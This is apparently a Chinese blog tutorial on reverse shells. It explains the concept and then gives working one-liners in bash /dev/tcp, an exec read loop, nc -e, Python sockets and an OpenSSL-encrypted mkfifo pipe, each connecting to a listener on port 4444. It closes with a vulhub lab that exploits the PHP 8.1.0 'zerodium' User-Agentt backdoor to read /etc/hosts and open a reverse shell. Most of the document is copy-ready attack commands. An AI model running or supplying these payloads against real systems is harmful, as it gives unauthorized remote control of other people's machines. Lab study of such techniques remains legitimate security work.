![](https://i-blog.csdnimg.cn/blog_migrate/8c693cdd10801023d9afefb69eae7d87.png)
前提:node2(
75)控制端机器,node1(
74)为要被控制端机器
一、为何需要反弹shell
当正向连接不可达时:
-
客户机中了木马,但是在局域网内,无法正向连接。
-
由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求
二、反弹shell原理
反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。
三、常见的反弹shell命令
3.1、bash进行反弹
1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444 # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
![](https://i-blog.csdnimg.cn/blog_migrate/ec11e09712a3c10cbb5537857c52dce2.png)
2、被控制端机器node1(74)允许反弹shell,执行:
bash -i >& /dev/tcp/控制端机器ip/控制端机器监听的port 0>&1
解释:
-
bash -i:打开一个交互式的bash
-
/dev/tcp/:是Linux中的一个特殊设备,打开这个文件相当于发出一个socket调用,建立一个socket连接;不存在可以手工创建
-
>&: 后面接文件时,表示将标准输出和标准错误输出重定向至文件
-
0>&1: 代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了“/dev/tcp/本机机器ip/本机机器监听的port”这个文件,也就是远程,那么标准输入也就重定向到了远程
![](https://i-blog.csdnimg.cn/blog_migrate/712d3f5b959751ee09ab589ae03e8a9e.png)
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作
![](https://i-blog.csdnimg.cn/blog_migrate/21ea08c300808b232f4a269ada6d5537.png)
3.2、使用exec执行反弹shell的方式
1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444 # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
![](https://i-blog.csdnimg.cn/blog_migrate/1fbbf4c2c3f39f9ad7e247e16b2702bb.png)
2、被控制端机器node1(74)允执行:
root@node1:~# exec 5<> /dev/tcp/192.168.11.75/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
![](https://i-blog.csdnimg.cn/blog_migrate/53966e36d78c8ca1fd96bc1c3dcc8032.png)
3、步骤2执行后,此时再看控制端机器node2
![](https://i-blog.csdnimg.cn/blog_migrate/f10db68c3a6aac5eed14a85c211e5593.png)
3.3、使用nc进行反弹shell
1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444 # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
![](https://i-blog.csdnimg.cn/blog_migrate/aec073b8edf4fb633135da5706042775.png)
2、被控制端机器node1(74)允执行: 需要安装经典的netcat-traditional,不然nc -e报错 关于nc无法使用-e参数 nc:invalid option -- ‘e’_tonine9的博客-CSDN博客
nc -e /bin/bash 192.168.11.75 4444
![](https://i-blog.csdnimg.cn/blog_migrate/efe2633f4029e5d1f748b7c90b967b94.png)
3、步骤2执行后,此时再看控制端机器node2
![](https://i-blog.csdnimg.cn/blog_migrate/47824e4a51fed8fc0a41c49d2888e6db.png)
3.4、基于python反弹shell
1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444 # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
![](https://i-blog.csdnimg.cn/blog_migrate/145778a9616a34e5fa234319822c9982.png)
2、被控制端机器node1(74)允执行:
root@node1:~# python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.11.75",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作
![](https://i-blog.csdnimg.cn/blog_migrate/a6817f233662d0c9f2a10533b60e9f98.png)
3.5、加密反弹shell
1、首先控制端机器node2(75)生成证书:
root@node2:~# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
会生成cert.pem、key.pem文件
然后执行:
root@node2:/home# openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
2、被控制端机器node1(74)允执行: /tem/s要存在
root@node1:~# mkfifo /tem/s; /bin/bash -i < /tem/s 2>&1 | openssl s_client -quiet -connect 192.168.11.75:4444 > /tem/s;rm /tem/s
![](https://i-blog.csdnimg.cn/blog_migrate/e32ddd5d0f47b70fb4ccdc6ad9b24426.png)
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作
![](https://i-blog.csdnimg.cn/blog_migrate/3dc25c601ba3f4f1901c3e083d8c2dbf.png)
四、靶机部署
a、环境:
控制端机器:192.168.11.234
被控制端机器:192.168.11.135
b、在控制端机器:192.168.11.234
执行命令:nc -lvnp 4444
![](https://i-blog.csdnimg.cn/blog_migrate/7d4883aee1192415eeeebde54011fdf9.png)
c、在被控制端机器:192.168.11.135
下载vulhub:git clone https://github.com/vulhub/vulhub.git
进入目录:cd ./vulhub-master/php/8.1-backdoor/
启动环境:docker-compose up -d
d、backdoor漏洞复现:
User-Agentt: zerodiumsystem("cat /etc/hosts");
![](https://i-blog.csdnimg.cn/blog_migrate/a91e879518bb5680dbd1a3b4792861e5.png)
d、shell反弹漏洞复现
User-Agentt: zerodiumsystem("bash -c ' exec bash -i >& /dev/tcp/192.168.11.234/4444 0>&1'");
控制端机器直接反弹到被控制机器上,可以操作被控制机器了:
![](https://i-blog.csdnimg.cn/blog_migrate/5d79de5e74b125c222b60c0e8581883e.png)
五、参考
003-php8.1.0backdoor后门_哔哩哔哩_bilibili backdoor+反弹shell